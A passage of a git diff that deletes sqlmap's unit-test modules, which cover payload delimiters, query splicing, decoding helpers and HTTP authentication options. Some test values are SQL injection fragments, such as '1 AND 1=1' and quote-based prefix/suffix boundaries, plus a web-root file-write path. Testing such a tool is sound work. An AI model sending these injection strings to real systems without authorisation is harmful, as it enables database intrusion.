test_basic_ascii(self): - from lib.core.common import decodeIntToUnicode - self.assertEqual(decodeIntToUnicode(35), "#") - self.assertEqual(decodeIntToUnicode(64), "@") - self.assertEqual(decodeIntToUnicode(65), "A") - - def test_non_int_passthrough(self): - from lib.core.common import decodeIntToUnicode - # non-int is returned unchanged - self.assertEqual(decodeIntToUnicode("x"), "x") - - def test_pgsql_high_codepoint(self): - from lib.core.common import decodeIntToUnicode - set_dbms(DBMS.PGSQL) - # value > 255 on PGSQL takes the _unichr(value) branch - self.assertEqual(decodeIntToUnicode(0x2122), u"™") - - -class TestCommonDecodeDbmsHex(unittest.TestCase): - def setUp(self): - self._old_binary = kb.binaryField - kb.binaryField = False - - def tearDown(self): - kb.binaryField = self._old_binary - set_dbms(None) - - def test_plain_hex(self): - from lib.core.common import decodeDbmsHexValue - self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") - - def test_odd_length_appends_question_mark(self): - from lib.core.common import decodeDbmsHexValue - self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") - - def test_list_input(self): - from lib.core.common import decodeDbmsHexValue - self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) - - def test_non_hex_passthrough(self): - from lib.core.common import decodeDbmsHexValue - self.assertEqual(decodeDbmsHexValue("5.1.41"), u"5.1.41") - - -class TestCommonUnsafeSQLIdentificator(unittest.TestCase): - def tearDown(self): - set_dbms(None) - - def test_mssql_brackets(self): - from lib.core.common import unsafeSQLIdentificatorNaming - from lib.core.common import getText - set_dbms(DBMS.MSSQL) - self.assertEqual(getText(unsafeSQLIdentificatorNaming("[begin]")), "begin") - self.assertEqual(getText(unsafeSQLIdentificatorNaming("foobar")), "foobar") - - def test_mysql_backticks(self): - from lib.core.common import unsafeSQLIdentificatorNaming, getText - set_dbms(DBMS.MYSQL) - self.assertEqual(getText(unsafeSQLIdentificatorNaming("`col`")), "col") - - def test_oracle_uppercases(self): - from lib.core.common import unsafeSQLIdentificatorNaming, getText - set_dbms(DBMS.ORACLE) - # Oracle strips double quotes and uppercases - self.assertEqual(getText(unsafeSQLIdentificatorNaming('"name"')), "NAME") - - -class TestCommonParseSqliteSchema(unittest.TestCase): - def setUp(self): - self._old_cached = kb.data.get("cachedColumns") - self._old_db = conf.db - self._old_tbl = conf.tbl - kb.data.cachedColumns = {} - conf.db = "SQLITE_MASTER" - conf.tbl = "users" - - def tearDown(self): - kb.data.cachedColumns = self._old_cached - conf.db = self._old_db - conf.tbl = self._old_tbl - - def test_simple_schema(self): - from lib.core.common import parseSqliteTableSchema - self.assertTrue(parseSqliteTableSchema( - "CREATE TABLE users(\n\t\tid INTEGER,\n\t\tname TEXT\n);")) - cols = kb.data.cachedColumns[conf.db][conf.tbl] - self.assertEqual(tuple(cols.items()), (("id", "INTEGER"), ("name", "TEXT"))) - - def test_constraints_skipped(self): - from lib.core.common import parseSqliteTableSchema - self.assertTrue(parseSqliteTableSchema( - "CREATE TABLE suppliers(\n\tsupplier_id INTEGER PRIMARY KEY DESC,\n\tname TEXT NOT NULL\n);")) - cols = kb.data.cachedColumns[conf.db][conf.tbl] - self.assertEqual(tuple(cols.items()), (("supplier_id", "INTEGER"), ("name", "TEXT"))) - - -class TestAgentPure(unittest.TestCase): - """Pure agent.py methods independent of full injection state.""" - - @classmethod - def setUpClass(cls): - from lib.core.agent import agent - cls.agent = agent - - def tearDown(self): - set_dbms(None) - - def test_get_comment_present(self): - from lib.core.datatype import AttribDict - request = AttribDict() - request.comment = "-- foo" - self.assertEqual(self.agent.getComment(request), "-- foo") - - def test_get_comment_absent(self): - from lib.core.datatype import AttribDict - request = AttribDict() - self.assertEqual(self.agent.getComment(request), "") - - def test_add_payload_delimiters(self): - from lib.core.settings import PAYLOAD_DELIMITER - value = "1 AND 1=1" - result = self.agent.addPayloadDelimiters(value) - self.assertEqual(result, "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER)) - # falsy value returned unchanged - self.assertEqual(self.agent.addPayloadDelimiters(""), "") - - def test_remove_payload_delimiters_roundtrip(self): - self.assertEqual( - self.agent.removePayloadDelimiters(self.agent.addPayloadDelimiters("1 AND 1=1")), - "1 AND 1=1", - ) - - def test_extract_payload(self): - wrapped = "prefix" + self.agent.addPayloadDelimiters("1 AND 1=1") + "suffix" - self.assertEqual(self.agent.extractPayload(wrapped), "1 AND 1=1") - - def test_replace_payload(self): - wrapped = "prefix" + self.agent.addPayloadDelimiters("OLD") + "suffix" - replaced = self.agent.replacePayload(wrapped, "NEW") - self.assertEqual(self.agent.extractPayload(replaced), "NEW") - # surrounding text preserved - self.assertTrue(replaced.startswith("prefix")) - self.assertTrue(replaced.endswith("suffix")) - - def test_simple_concatenate_mysql(self): - set_dbms(DBMS.MYSQL) - # MySQL concatenate query template is 'CONCAT(%s,%s)' - self.assertEqual(self.agent.simpleConcatenate("a", "b"), "CONCAT(a,b)") - - def test_hex_convert_field_mysql(self): - set_dbms(DBMS.MYSQL) - # MySQL hex template is 'HEX(%s)' - self.assertEqual(self.agent.hexConvertField("col"), "HEX(col)") - - def test_get_fields_select_from(self): - set_dbms(DBMS.MYSQL) - result = self.agent.getFields("SELECT a, b FROM users") - fieldsToCastList = result[5] - fieldsToCastStr = result[6] - self.assertEqual(fieldsToCastStr, "a, b") - self.assertEqual(fieldsToCastList, ["a", "b"]) - - def test_get_fields_no_from(self): - set_dbms(DBMS.MYSQL) - # a bare SELECT without FROM -> fieldsSelectFrom is None, casts the whole select list - result = self.agent.getFields("SELECT 1") - fieldsSelectFrom = result[0] - self.assertIsNone(fieldsSelectFrom) - self.assertEqual(result[6], "1") - - -class TestAgentWhereQuery(unittest.TestCase): - @classmethod - def setUpClass(cls): - from lib.core.agent import agent - cls.agent = agent - - def setUp(self): - self._old_dumpWhere = conf.dumpWhere - self._old_tbl = conf.tbl - conf.tbl = None - - def tearDown(self): - conf.dumpWhere = self._old_dumpWhere - conf.tbl = self._old_tbl - set_dbms(None) - - def test_no_dumpwhere_passthrough(self): - conf.dumpWhere = None - query = "SELECT a FROM t" - self.assertEqual(self.agent.whereQuery(query), query) - - def test_appends_where_clause(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>0" - # no existing WHERE -> appends ' WHERE id>0' - self.assertEqual(self.agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t WHERE id>0") - - def test_and_when_where_present(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>0" - # existing WHERE -> appended with AND - self.assertEqual( - self.agent.whereQuery("SELECT a FROM t WHERE x=1"), - "SELECT a FROM t WHERE x=1 AND id>0", - ) - - def test_splices_before_order_by(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>0" - # WHERE must be spliced before the trailing ORDER BY suffix - self.assertEqual( - self.agent.whereQuery("SELECT a FROM t ORDER BY a"), - "SELECT a FROM t WHERE id>0 ORDER BY a", - ) - - -class TestBasicHeuristicCharEncoding(unittest.TestCase): - def test_ascii(self): - from lib.request.basic import getHeuristicCharEncoding - self.assertEqual(getHeuristicCharEncoding(b""), "ascii") - - def test_cache_hit_returns_same(self): - from lib.request.basic import getHeuristicCharEncoding - page = b"hello world" - first = getHeuristicCharEncoding(page) - # second call for identical page must come back identical (and from cache) - self.assertEqual(getHeuristicCharEncoding(page), first) - key = (len(page), hash(page)) - self.assertEqual(kb.cache.encoding.get(key), first) - - -class TestBasicDecodePage(unittest.TestCase): - """decodePage charset + HTML-entity decoding branches.""" - - def setUp(self): - self._old_encoding = conf.encoding - self._old_null = conf.nullConnection - conf.nullConnection = False - - def tearDown(self): - conf.encoding = self._old_encoding - conf.nullConnection = self._old_null - - def test_html_entity_amp(self): - from lib.request.basic import decodePage - from lib.core.common import getText - conf.encoding = None - self.assertEqual( - getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")), - "foo&bar", - ) - - def test_numeric_hex_entity_tab(self): - from lib.request.basic import decodePage - from lib.core.common import getText - conf.encoding = None - self.assertEqual(getText(decodePage(b" ", None, "text/html; charset=utf-8")), "\t") - - def test_numeric_hex_entity_letter(self): - from lib.request.basic import decodePage - from lib.core.common import getText - conf.encoding = None - self.assertEqual(getText(decodePage(b"J", None, "text/html; charset=utf-8")), "J") - - def test_unicode_entity(self): - from lib.request.basic import decodePage - conf.encoding = None - self.assertEqual(decodePage(b"™", None, "text/html; charset=utf-8"), u"™") - - def test_empty_page(self): - from lib.request.basic import decodePage - from lib.core.common import getText - # empty page short-circuits to getUnicode(page) - self.assertEqual(getText(decodePage(b"", None, "text/html")), "") - - -class TestOptionSetPrefixSuffix(unittest.TestCase): - """_setPrefixSuffix boundary construction (pure conf-mutation, no I/O).""" - - def setUp(self): - self._saved = {k: conf.get(k) for k in ("prefix", "suffix", "boundaries")} - - def tearDown(self): - for k, v in self._saved.items(): - conf[k] = v - - def _run(self, prefix, suffix): - from lib.core.option import _setPrefixSuffix - conf.prefix = prefix - conf.suffix = suffix - conf.boundaries = None - _setPrefixSuffix() - return conf.boundaries - - def test_none_no_boundary(self): - # when either prefix or suffix is None, no boundary is created - self.assertIsNone(self._run(None, None)) - - def test_single_quote_ptype(self): - boundaries = self._run("' AND ", "'") - self.assertEqual(len(boundaries), 1) - b = boundaries[0] - self.assertEqual(b.prefix, "' AND ") - self.assertEqual(b.suffix, "'") - self.assertEqual(b.ptype, 2) # single-quote, no LIKE - self.assertEqual(b.level, 1) - self.assertEqual(b.clause, [0]) - - def test_double_quote_ptype(self): - boundaries = self._run('" AND ', '"') - self.assertEqual(boundaries[0].ptype, 4) # double-quote, no LIKE - - def test_numeric_ptype(self): - boundaries = self._run(" AND ", "") - self.assertEqual(boundaries[0].ptype, 1) # no quoting - - def test_like_single_quote_ptype(self): - boundaries = self._run("' AND ", "' like '%") - self.assertEqual(boundaries[0].ptype, 3) # LIKE with single quote - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_core_final.py b/tests/test_core_final.py deleted file mode 100644 index 1e1119a48..000000000 --- a/tests/test_core_final.py +++ /dev/null @@ -1,605 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Additional unit coverage for lib/core/common.py, lib/core/option.py and -lib/core/target.py, targeting *pure* (or near-pure) functions and branches NOT -already exercised by the existing test modules: - - * tests/test_common_utils.py / test_common_parsers.py / test_core_more.py - * tests/test_option_setup.py / test_option_more.py - * tests/test_target_parsing.py - -This file instead covers (common.py): - - boldifyMessage, calculateDeltaSeconds, commonFinderOnly, - enumValueToNameLookup, extractErrorMessage, filePathToSafeString, - isWindowsDriveLetterPath, cleanReplaceUnicode, trimAlphaNum, - removePostHintPrefix, safeExpandUser, safeFilepathEncode, - serializeObject/unserializeObject, applyFunctionRecursively, - extractExpectedValue, getHeader, getRequestHeader, parseJson, - parsePasswordHash, findMultipartPostBoundary, setTechnique/getTechnique, - extractRegexResult, extractTextTagContent, getFilteredPageContent, - checkFile, listToStrValue, intersect, isZipFile, checkOldOptions. - -(option.py): - - _setHTTPAuthentication (basic/ntlm/bearer/pki + error branches), - _setWriteFile, _setHTTPTimeout, _setAuthCred. - -Everything runs in isolation: no network, no DBMS, no persistent filesystem -mutation. All mutated conf/kb/Backend/socket state is snapshotted and restored. -""" - -import os -import socket -import sys -import tempfile -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap -bootstrap() - -import lib.core.option as option -from lib.core.data import conf, kb, paths -from lib.core.enums import ( - AUTH_TYPE, - DBMS, - EXPECTED, - HTTP_HEADER, - SORT_ORDER, -) -from lib.core.exception import ( - SqlmapFilePathException, - SqlmapMissingMandatoryOptionException, - SqlmapMissingDependence, - SqlmapSyntaxException, - SqlmapSystemException, -) -from lib.core.settings import NULL -from lib.core.common import ( - applyFunctionRecursively, - boldifyMessage, - calculateDeltaSeconds, - checkFile, - checkOldOptions, - cleanReplaceUnicode, - commonFinderOnly, - enumValueToNameLookup, - extractErrorMessage, - extractExpectedValue, - extractRegexResult, - extractTextTagContent, - filePathToSafeString, - findMultipartPostBoundary, - getFilteredPageContent, - getHeader, - getRequestHeader, - getText, - getTechnique, - intersect, - isWindowsDriveLetterPath, - isZipFile, - listToStrValue, - parseJson, - parsePasswordHash, - removePostHintPrefix, - safeExpandUser, - safeFilepathEncode, - serializeObject, - setTechnique, - trimAlphaNum, - unserializeObject, -) -from thirdparty.six.moves import urllib as _urllib - - -class _FakeRequest(object): - """Minimal stand-in for urllib2.Request used by getRequestHeader().""" - - def __init__(self, headers): - self.headers = headers - - def header_items(self): - return self.headers.items() - - -class TestCommonPureHelpers(unittest.TestCase): - """Pure string/encoding/list/regex helpers from lib/core/common.py.""" - - def test_boldify_message_marks_known_pattern(self): - self.assertEqual( - boldifyMessage("GET parameter id is not injectable", istty=True), - "\x1b[1mGET parameter id is not injectable\x1b[0m", - ) - - def test_boldify_message_leaves_plain_unchanged(self): - self.assertEqual(boldifyMessage("just a plain message", istty=True), "just a plain message") - - def test_calculate_delta_seconds_from_epoch(self): - self.assertGreater(calculateDeltaSeconds(0), 1151721660) - - def test_calculate_delta_seconds_nonnegative(self): - import time as _time - self.assertGreaterEqual(calculateDeltaSeconds(_time.time()), 0.0) - - def test_common_finder_only_returns_longest_common_prefix(self): - self.assertEqual(commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]), "abcde") - - def test_enum_value_to_name_lookup_hit(self): - self.assertEqual(enumValueToNameLookup(SORT_ORDER, SORT_ORDER.LAST), "LAST") - - def test_enum_value_to_name_lookup_miss(self): - self.assertIsNone(enumValueToNameLookup(SORT_ORDER, -987654321)) - - def test_file_path_to_safe_string(self): - self.assertEqual(filePathToSafeString("C:/Windows/system32"), "C__Windows_system32") - - def test_file_path_to_safe_string_spaces_backslashes(self): - self.assertEqual(filePathToSafeString("a b\\c:d"), "a_b_c_d") - - def test_is_windows_drive_letter_path_true(self): - self.assertTrue(isWindowsDriveLetterPath("C:\\boot.ini")) - - def test_is_windows_drive_letter_path_false(self): - self.assertFalse(isWindowsDriveLetterPath("/var/log/apache.log")) - - def test_clean_replace_unicode_list(self): - self.assertEqual(cleanReplaceUnicode(["a", "b"]), ["a", "b"]) - - def test_clean_replace_unicode_scalar(self): - self.assertEqual(cleanReplaceUnicode(u"plain"), u"plain") - - def test_trim_alpha_num(self): - self.assertEqual(trimAlphaNum("AND 1>(2+3)-- foobar"), " 1>(2+3)-- ") - - def test_trim_alpha_num_all_alnum(self): - self.assertEqual(trimAlphaNum("abc123"), "") - - def test_trim_alpha_num_empty(self): - self.assertEqual(trimAlphaNum(""), "") - - def test_list_to_str_value_list(self): - self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") - - def test_list_to_str_value_tuple(self): - self.assertEqual(listToStrValue((4, 5)), "4, 5") - - def test_list_to_str_value_scalar(self): - self.assertEqual(listToStrValue("foo"), "foo") - - def test_intersect_lists(self): - self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) - - def test_intersect_lowercase(self): - self.assertEqual(intersect(["A", "B"], ["a"], lowerCase=True), ["a"]) - - def test_intersect_empty(self): - self.assertEqual(intersect([], [1, 2]), []) - - def test_apply_function_recursively(self): - self.assertEqual( - applyFunctionRecursively([1, 2, [3, -9]], lambda _: _ > 0), - [True, True, [True, False]], - ) - - def test_apply_function_recursively_scalar(self): - self.assertEqual(applyFunctionRecursively(5, lambda _: _ + 1), 6) - - -class TestCommonRegexAndPage(unittest.TestCase): - """Regex / page-content extraction helpers.""" - - def test_extract_regex_result_hit(self): - self.assertEqual(extractRegexResult(r"a(?P[^g]+)g", "abcdefg"), "bcdef") - - def test_extract_regex_result_no_match(self): - self.assertIsNone(extractRegexResult(r"a(?P[^g]+)g", "xyz")) - - def test_extract_regex_result_no_result_group(self): - self.assertIsNone(extractRegexResult(r"plain", "plain")) - - def test_extract_regex_result_empty_content(self): - self.assertIsNone(extractRegexResult(r"a(?P.)b", "")) - - def test_extract_text_tag_content(self): - self.assertEqual( - extractTextTagContent("Title
foobar
"), - ["Title", "foobar"], - ) - - def test_extract_text_tag_content_empty(self): - self.assertEqual(extractTextTagContent(""), []) - - def test_get_filtered_page_content(self): - self.assertEqual( - getFilteredPageContent(u"foobartest"), - "foobar test", - ) - - def test_get_filtered_page_content_drops_script(self): - page = u"hello" - self.assertNotIn("var x", getFilteredPageContent(page)) - self.assertIn("hello", getFilteredPageContent(page)) - - def test_get_filtered_page_content_nonstring_passthrough(self): - self.assertEqual(getFilteredPageContent(None), None) - - def test_extract_error_message_oracle(self): - page = (u"Test\nWarning: oci_parse() " - u"[function.oci-parse]: ORA-01756: quoted string not properly " - u"terminated

Only a test page

") - self.assertEqual( - getText(extractErrorMessage(page)), - "oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated", - ) - - def test_extract_error_message_none_for_plain(self): - self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) - - def test_extract_error_message_non_string(self): - self.assertIsNone(extractErrorMessage(None)) - - def test_find_multipart_post_boundary(self): - post = ("-----------------------------9051914041544843365972754266\n" - "Content-Disposition: form-data; name=text\n\ndefault") - self.assertEqual(findMultipartPostBoundary(post), "9051914041544843365972754266") - - def test_find_multipart_post_boundary_none(self): - self.assertIsNone(findMultipartPostBoundary("")) - - -class TestCommonHeadersAndExpected(unittest.TestCase): - - def test_get_header_case_insensitive(self): - self.assertEqual(getHeader({"Foo": "bar"}, "foo"), "bar") - - def test_get_header_missing(self): - self.assertIsNone(getHeader({"Foo": "bar"}, "x")) - - def test_get_header_empty_dict(self): - self.assertIsNone(getHeader({}, "anything")) - - def test_get_request_header_hit(self): - self.assertEqual(getText(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "foo")), "BAR") - - def test_get_request_header_miss(self): - self.assertIsNone(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "missing")) - - def test_extract_expected_value_bool_true(self): - self.assertIs(extractExpectedValue(["1"], EXPECTED.BOOL), True) - - def test_extract_expected_value_bool_false(self): - self.assertIs(extractExpectedValue(["0"], EXPECTED.BOOL), False) - - def test_extract_expected_value_bool_word(self): - self.assertIs(extractExpectedValue(["true"], EXPECTED.BOOL), True) - self.assertIs(extractExpectedValue(["false"], EXPECTED.BOOL), False) - - def test_extract_expected_value_int(self): - self.assertEqual(extractExpectedValue("5", EXPECTED.INT), 5) - - def test_extract_expected_value_int_invalid(self): - self.assertIsNone(extractExpectedValue(u"7\xb9645", EXPECTED.INT)) - - def test_extract_expected_value_no_expected(self): - self.assertEqual(extractExpectedValue("foo", None), "foo") - - -class TestParseJsonAndHash(unittest.TestCase): - - def test_parse_json_double_quotes(self): - self.assertEqual(parseJson('{"id":1}')["id"], 1) - - def test_parse_json_single_quotes(self): - self.assertEqual(parseJson("{'id':1, 'foo':[2,3,4]}")["id"], 1) - - def test_parse_json_not_json(self): - self.assertIsNone(parseJson("this is not json")) - - def test_parse_password_hash_mssql(self): - saved = kb.forcedDbms - try: - kb.forcedDbms = DBMS.MSSQL - result = parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") - self.assertIn("salt: 4086ceb6", result) - self.assertIn("header: 0x0100", result) - finally: - kb.forcedDbms = saved - - def test_parse_password_hash_none(self): - self.assertEqual(parsePasswordHash(None), NULL) - - def test_parse_password_hash_blank(self): - self.assertEqual(parsePasswordHash(" "), NULL) - - -class TestSerializeAndTechnique(unittest.TestCase): - - def test_serialize_roundtrip(self): - self.assertEqual(unserializeObject(serializeObject([1, 2, 3])), [1, 2, 3]) - - def test_serialize_object_is_str(self): - self.assertIsInstance(serializeObject([1, 2, ("a", "b")]), str) - - def test_unserialize_none(self): - self.assertIsNone(unserializeObject(None)) - - def test_set_get_technique_thread_local(self): - saved = getTechnique() - try: - setTechnique(5) - self.assertEqual(getTechnique(), 5) - finally: - setTechnique(saved) - - def test_get_technique_falls_back_to_kb(self): - saved_thread = getTechnique() - saved_kb = kb.get("technique") - try: - setTechnique(None) - kb.technique = 7 - self.assertEqual(getTechnique(), 7) - finally: - setTechnique(saved_thread) - kb.technique = saved_kb - - -class TestRemovePostHint(unittest.TestCase): - - def test_removes_known_prefix(self): - self.assertEqual(removePostHintPrefix("JSON id"), "id") - - def test_no_prefix_unchanged(self): - self.assertEqual(removePostHintPrefix("id"), "id") - - -class TestFileHelpers(unittest.TestCase): - - def test_check_file_existing(self): - self.assertTrue(checkFile(__file__)) - - def test_check_file_missing_no_raise(self): - self.assertFalse(checkFile("/no/such/path_xyz_123", raiseOnError=False)) - - def test_check_file_missing_raises(self): - with self.assertRaises(SqlmapSystemException): - checkFile("/no/such/path_xyz_123", raiseOnError=True) - - def test_is_zip_file_wordlist(self): - # paths.WORDLIST is a zip-compressed wordlist shipped with sqlmap - self.assertTrue(isZipFile(paths.WORDLIST)) - - def test_is_zip_file_plain_text(self): - self.assertFalse(isZipFile(paths.SQL_KEYWORDS)) - - def test_safe_filepath_encode_ascii_passthrough(self): - # On Python 3 the function returns the value unchanged for str input - self.assertEqual(safeFilepathEncode("/tmp/x"), "/tmp/x") - - def test_safe_expand_user_basename_preserved(self): - self.assertIn(os.path.basename(__file__), safeExpandUser(__file__)) - - -class TestCheckOldOptions(unittest.TestCase): - - def test_no_old_options_is_noop(self): - # Returns None and does not raise when no deprecated options are present - self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"])) - - -class TestOptionSetWriteFile(unittest.TestCase): - - def setUp(self): - self._saved = (conf.fileWrite, conf.fileDest, conf.get("fileWriteType")) - - def tearDown(self): - conf.fileWrite, conf.fileDest, conf.fileWriteType = self._saved - - def test_noop_when_no_filewrite(self): - conf.fileWrite = None - self.assertIsNone(option._setWriteFile()) - - def test_raises_on_missing_local_file(self): - conf.fileWrite = "/no/such/local_file_xyz" - conf.fileDest = "/var/www/x" - with self.assertRaises(SqlmapFilePathException): - option._setWriteFile() - - def test_raises_on_missing_dest(self): - fd, path = tempfile.mkstemp() - os.close(fd) - try: - conf.fileWrite = path - conf.fileDest = None - with self.assertRaises(SqlmapMissingMandatoryOptionException): - option._setWriteFile() - finally: - os.unlink(path) - - def test_sets_file_write_type(self): - fd, path = tempfile.mkstemp() - os.close(fd) - try: - conf.fileWrite = path - conf.fileDest = "/var/www/x" - option._setWriteFile() - self.assertIn(conf.fileWriteType, ("text", "binary")) - finally: - os.unlink(path) - - -class TestOptionSetHTTPTimeout(unittest.TestCase): - - def setUp(self): - self._savedTimeout = conf.timeout - self._savedSocket = socket.getdefaulttimeout() - - def tearDown(self): - conf.timeout = self._savedTimeout - socket.setdefaulttimeout(self._savedSocket) - - def test_explicit_timeout(self): - conf.timeout = 10 - option._setHTTPTimeout() - self.assertEqual(conf.timeout, 10.0) - - def test_below_minimum_is_clamped(self): - conf.timeout = 1 - option._setHTTPTimeout() - self.assertEqual(conf.timeout, 3.0) - - def test_default_when_unset(self): - conf.timeout = None - option._setHTTPTimeout() - self.assertEqual(conf.timeout, 30.0) - - -class TestOptionSetHTTPAuthentication(unittest.TestCase): - - def setUp(self): - self._saved = { - "authType": conf.authType, - "authCred": conf.authCred, - "authFile": conf.authFile, - "authUsername": conf.authUsername, - "authPassword": conf.authPassword, - "httpHeaders": list(conf.httpHeaders), - "passwordMgr": kb.passwordMgr, - } - # provide a real password manager so the basic/digest branches work - kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() - - def tearDown(self): - conf.authType = self._saved["authType"] - conf.authCred = self._saved["authCred"] - conf.authFile = self._saved["authFile"] - conf.authUsername = self._saved["authUsername"] - conf.authPassword = self._saved["authPassword"] - conf.httpHeaders = self._saved["httpHeaders"] - kb.passwordMgr = self._saved["passwordMgr"] - - def test_noop_when_nothing_set(self): - conf.authType = None - conf.authCred = None - conf.authFile = None - self.assertIsNone(option._setHTTPAuthentication()) - - def test_basic_credentials_parsed(self): - conf.authType = "basic" - conf.authCred = "admin:secret" - conf.authFile = None - option._setHTTPAuthentication() - self.assertEqual(conf.authUsername, "admin") - self.assertEqual(conf.authPassword, "secret") - - def test_ntlm_credentials_parsed(self): - conf.authType = "ntlm" - conf.authCred = "DOMAIN\\user:pa:ss" - conf.authFile = None - conf.authUsername = None - conf.authPassword = None - # The python-ntlm handler module is optional; credential parsing happens - # before the handler import, so the parsed creds are set regardless. - try: - option._setHTTPAuthentication() - except SqlmapMissingDependence: - pass - self.assertEqual(conf.authUsername, "DOMAIN\\user") - self.assertEqual(conf.authPassword, "pa:ss") - - def test_ntlm_bad_format_raises(self): - conf.authType = "ntlm" - conf.authCred = "nobackslash:pass" - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - def test_bearer_appends_authorization_header(self): - conf.authType = "bearer" - conf.authCred = "tok123" - conf.authFile = None - conf.httpHeaders = [] - option._setHTTPAuthentication() - self.assertIn((HTTP_HEADER.AUTHORIZATION, "Bearer tok123"), conf.httpHeaders) - - def test_unsupported_type_raises(self): - conf.authType = "wrongtype" - conf.authCred = "a:b" - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - def test_type_without_credentials_raises(self): - conf.authType = "basic" - conf.authCred = None - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - def test_credentials_without_type_raises(self): - conf.authType = None - conf.authCred = "a:b" - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - def test_authfile_without_type_defaults_to_pki(self): - conf.authType = None - conf.authCred = None - conf.authFile = __file__ # exists, so checkFile() inside PKI branch passes - option._setHTTPAuthentication() - self.assertEqual(conf.authType, AUTH_TYPE.PKI) - - def test_pki_type_without_authfile_raises(self): - conf.authType = "pki" - conf.authCred = "x" - conf.authFile = None - with self.assertRaises(SqlmapSyntaxException): - option._setHTTPAuthentication() - - -class TestOptionSetAuthCred(unittest.TestCase): - - def setUp(self): - self._saved = { - "scheme": conf.scheme, - "hostname": conf.hostname, - "port": conf.port, - "authUsername": conf.authUsername, - "authPassword": conf.authPassword, - "passwordMgr": kb.passwordMgr, - } - - def tearDown(self): - conf.scheme = self._saved["scheme"] - conf.hostname = self._saved["hostname"] - conf.port = self._saved["port"] - conf.authUsername = self._saved["authUsername"] - conf.authPassword = self._saved["authPassword"] - kb.passwordMgr = self._saved["passwordMgr"] - - def test_noop_without_password_manager(self): - kb.passwordMgr = None - # Must not raise when there is no password manager configured - self.assertIsNone(option._setAuthCred()) - - def test_adds_credentials_to_manager(self): - kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() - conf.scheme = "http" - conf.hostname = "host" - conf.port = 80 - conf.authUsername = "u" - conf.authPassword = "p" - option._setAuthCred() - self.assertEqual( - kb.passwordMgr.find_user_password(None, "http://host:80"), - ("u", "p"), - ) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_core_more.py b/tests/test_core_more.py deleted file mode 100644 index 529415a8d..000000000 --- a/tests/test_core_more.py +++ /dev/null @@ -1,706 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Additional unit coverage for lib/core/agent.py, lib/core/common.py and -lib/utils/brute.py, targeting functions/branches NOT already exercised by: - - * tests/test_agent.py (payload delimiters, prefix/suffix defaults, - getFields(SELECT a,b), one MySQL concatQuery, - cleanupPayload RANDNUM) - * tests/test_agent_dialects.py (null/cast/concat, hexConvertField, - nullAndCastField, simpleConcatenate, - forgeUnionQuery(-1,3,...), limitQuery(0,...), - forgeCaseStatement, runAsDBMSUser-noop) - * tests/test_common_utils.py (paramToDict, getCharset, getLimitRange, - parseUnionPage, safeStringFormat, urlencode, - parseTargetUrl/Direct, safeSQLIdentificatorNaming) - * tests/test_common_parsers.py (request-file parsers, reflective masking, - findPageForms, saveConfig, getSQLSnippet, - Backend setters, urlencode/safeStringFormat extras) - -This file instead covers: - - agent.py: forgeUnionQuery (limited / multipleUnions / fromTable / collate / - INTO OUTFILE), limitQuery across several DBMS shapes (TOP/ROWNUM/ - OFFSET dialects + the " FROM "-less early return), whereQuery - (dumpWhere splicing), getComment, concatQuery(unpack=False), - cleanupPayload([ORIGVALUE]/[ORIGINAL]/[SPACE_REPLACE]), - adjustLateValues (SLEEPTIME/base64/RANDNUM), getFields on TOP / - DISTINCT / function / no-FROM shapes, prefixQuery/suffixQuery with - explicit prefix/suffix/clause/comment args, nullAndCastField noCast. - - common.py: isNoneValue, isNullValue, isNumPosStrValue, isNumber, isListLike, - filterPairValues, filterListValue, filterNone, filterStringValue, - zeroDepthSearch, splitFields, unArrayizeValue, flattenValue, - arrayizeValue, joinValue, aliasToDbmsEnum, getPageWordSet, - resetCookieJar (clear branch), normalizeUnicode. - - brute.py: tableExists / columnExists driven with conf.direct=True and the - external collaborators (inject.checkBooleanExpression, getFileItems, - runThreads) monkeypatched, plus _addPageTextWords. - -Everything runs in isolation (no network, no DBMS, no filesystem mutation of -the project). Any global conf/kb/Backend state that a call reads or writes is -snapshotted in setUp and restored in tearDown so test ordering is irrelevant. -""" - -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.agent import agent -from lib.core.data import conf, kb, queries -from lib.core.enums import DBMS -from lib.core.settings import ( - PAYLOAD_DELIMITER, - SLEEP_TIME_MARKER, - BOUNDED_BASE64_MARKER, - NULL, -) -from lib.core.common import ( - Backend, - isNoneValue, - isNullValue, - isNumPosStrValue, - isNumber, - isListLike, - filterPairValues, - filterListValue, - filterNone, - filterStringValue, - zeroDepthSearch, - splitFields, - 